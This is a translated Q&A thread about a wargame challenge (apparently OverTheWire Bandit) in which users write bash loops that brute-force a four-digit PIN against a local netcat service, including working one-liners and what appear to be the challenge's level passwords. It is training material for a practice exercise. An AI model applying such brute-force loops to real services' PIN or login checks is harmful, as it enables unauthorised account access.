いくつかの挑戦をしています。これはそれらの一つです。希望の回答を得るために、4桁のPINを無差別に代入してパスワードを入力しようとしています。ポートに接続した後、パスワード、スペース、4桁のPINを入力するように求められます。次のスクリプトを使用してピンを無差別に代入しようとしました。
#!/bin/bash
nc localhost 30002
sleep 2
for i in {0000..9999};
if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];
then
continue
echo '[+] Pincode Cracked! Pincode = $i'
fi
done
しかし、通過せずにstdinに固定されていないこのような作業を試みる前に - >if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]];
ここで私が何を間違っているのでしょうか?
修正する:
まあ、ちょっと調べた後。私はこれを書いた:
for i in {0000..9999}
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done
これはうまくいくかもしれませんが、見てわかるように、ループで新しい接続が開かれるため、非常に遅くなり、システムが消費されます。
答え1
迅速で効果的な答えは次のとおりです。
#!/bin/bash
passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
for i in {0000..9999}; do
echo "$passwd24 $i"
done | nc localhost 30002 | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"
更新された回答が非常に遅いです。誤解を入力しても接続は維持されます。前の答えが示すように、forループの末尾にあるパイプです。正しいピンを本当に知りたい場合は、echo thatの前に行を追加できますecho "the correct pass: $1" > /tmp/correctpin.txt
。これは正しいパスワードを取得する目的とは何の関係もありません。
答え2
それはあなたではないからです。言うスクリプトはnc
標準入力に何でも書き込みます。スクリプトはnetcatを起動します。終了するまでお待ちください、sleep
ループを実行する2秒前ですfor
。次の構成が必要な場合があります。
for i in {0000..9999}; do
: stuff
done | nc localhost 30002
答え3
ループをnetcat接続にパイプし、次のようにファイルに出力を書き込むことができます。
#!/bin/bash
touch f.txt
for i in {0000..9999}
do
echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
done | nc localhost 30002 > f.txt
cat f.txt | grep -v Wrong
中断してループが完了しない場合は、それぞれ5000回の繰り返しの2つの部分に分けることができます。
#!/bin/bash
for j in {0000..5000}
do
str1="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $j"
echo $str1
done | nc localhost 30002 > f.txt
cat f.txt | grep -v Wrong
sleep 5
for i in {5000..9999}
do
str2="UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i"
echo $str2
done | nc 127.0.0.1 30002 > f.txt
cat f.txt |grep -v Wrong
答え4
bandit25パスワードを取得するための1行のコード:
for i in {0000..9999}; do echo "VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar $i"; done | nc localhost 30002 | grep -v "Wrong!"
パスワードとPINの組み合わせはforループを使用して渡され、grep -v
不要な出力は印刷されません。